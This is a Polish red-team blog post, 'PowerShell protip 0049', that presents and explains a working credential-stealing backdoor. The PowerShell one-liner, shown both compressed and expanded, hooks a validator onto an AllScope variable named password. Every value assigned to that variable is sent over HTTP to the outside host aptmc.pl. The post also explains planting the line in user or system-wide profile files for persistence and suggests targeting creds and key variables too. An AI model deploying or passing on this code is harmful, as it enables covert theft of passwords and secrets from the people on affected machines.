alphasec
PowerShell protip 0049
in 𝕏

(sv -o a -p password "").Attributes.Add([ValidateScript]({irm "aptmc.pl/?$_";return $true;})) - eksfiltruj zmienną password kiedy tylko zostanie ustawiona

tty1 · powershell
PS> (sv -o a -p password "").Attributes.Add([ValidateScript]({irm "aptmc.pl/?$_";return $true;}))
#Powershell#RedTeam#Windows#Backdoor

Powyższy enigmatyczny oneliner uznaję, za jeden z bardziej diabelskich onelinerów, jakie napisałem. ;) W wyniku jego działania, za każdym razem, kiedy zostanie przypisana jakaś wartość do zmiennej password, zostanie ona wyeksfiltrowana po HTTP/HTTPS pod adres aptmc.pl/?< zawartość zmiennej password >. W praktyce, oznacza to, że jeśli jakiemuś (lub wszystkim) użytkownikom dopiszemy tę linijkę do pliku profilowego ($PROFILE - profil aktualnego uzytkownika, $PSHOME/Profile.ps1 - plik profilowy wspólny dla wszystkich), za każdym razem kiedy zmienna password zmieni wartość, czy to poprzez przypisanie w konsoli czy też przez jakiś skrypt czy funkcję, zostanie ona przechwycona i wyeksfiltrowana.

Żeby lepiej zrozumieć co się dzieje, rozwińmy aliasy i skrócone parametry:

Dzięki temu, całość możemy przedstawić w nieco bardziej czytelny sposób:

Set-Variable -Name Password -Option AllScope -Value ""
$vBlock = {
  Invoke-RestMethod "aptmc.pl/?$_"
  return $true
}
$validator = [ValidateScript]($vBlock)
(Get-Variable -Name Password).Attributes.Add($validator)

Wyposażeni w tę wiedzę, wszystko już chyba staje się jasne. Cała idea polega na tym, że:

  • definiujemy zmienną o nazwie Password, ustawiając jej opcję AllScope, która powoduje, że będzie one dostępna we wszystkich zasięgach (nawet jeśli jakiś skrypt czy funkcja jawnie ustawi sobie zmienną Password jako local: czy private:(!!)),
  • definiujemy validator, który zamiast faktycznej walidacji eksfiltruje zawartość zmiennej po HTTP/HTTPS za pomocą cmdletu Invokt-RestMethod; validator zwraca $true, co oznacza, że zmienna jest poprawna (w przeciwnym razie Powershell poinformowałby o błędzie),
  • dodajemy validator do zmiennej Password, w wyniku czego zostanie on zawsze uruchomiony, kiedy jej zawartość ulegnie zmianie.

Zachęcam do przemyślania sobie kilku scenariuszy, kiedy to może być wykorzystane i do czego to może prowadzić. Oczywiście zamiast czy też obok zmiennej Password analogicznie, mogą być potraktowane zmienne typu pass, credentials, creds, key etc.

Jak to działa — krok po kroku

Rozłóżmy onelinera na czynniki pierwsze:

sv

alias na Set-Variable,

-o a

skrócone przekazanie parametru -Option AllScope,

-p

skrócony zapis parametru -PassThru, który powoduje, że zostanie zwrócony obiekt reprezentujący ustawioną zmienną (domyślnie Set-Variable nie zwraca niczego),

irm

alias na Invoke-RestMethod.

← poprzedni protip 0048 ••• Wszystkie protipy następny → protip 004a
// subskrybuj

Nowe protipy prosto na maila.

Mięsiste jednolinijkowce i triki z prawdziwych zleceń. Zero spamu, zero teorii. Wypisujesz się jednym kliknięciem.

wersja newslettera: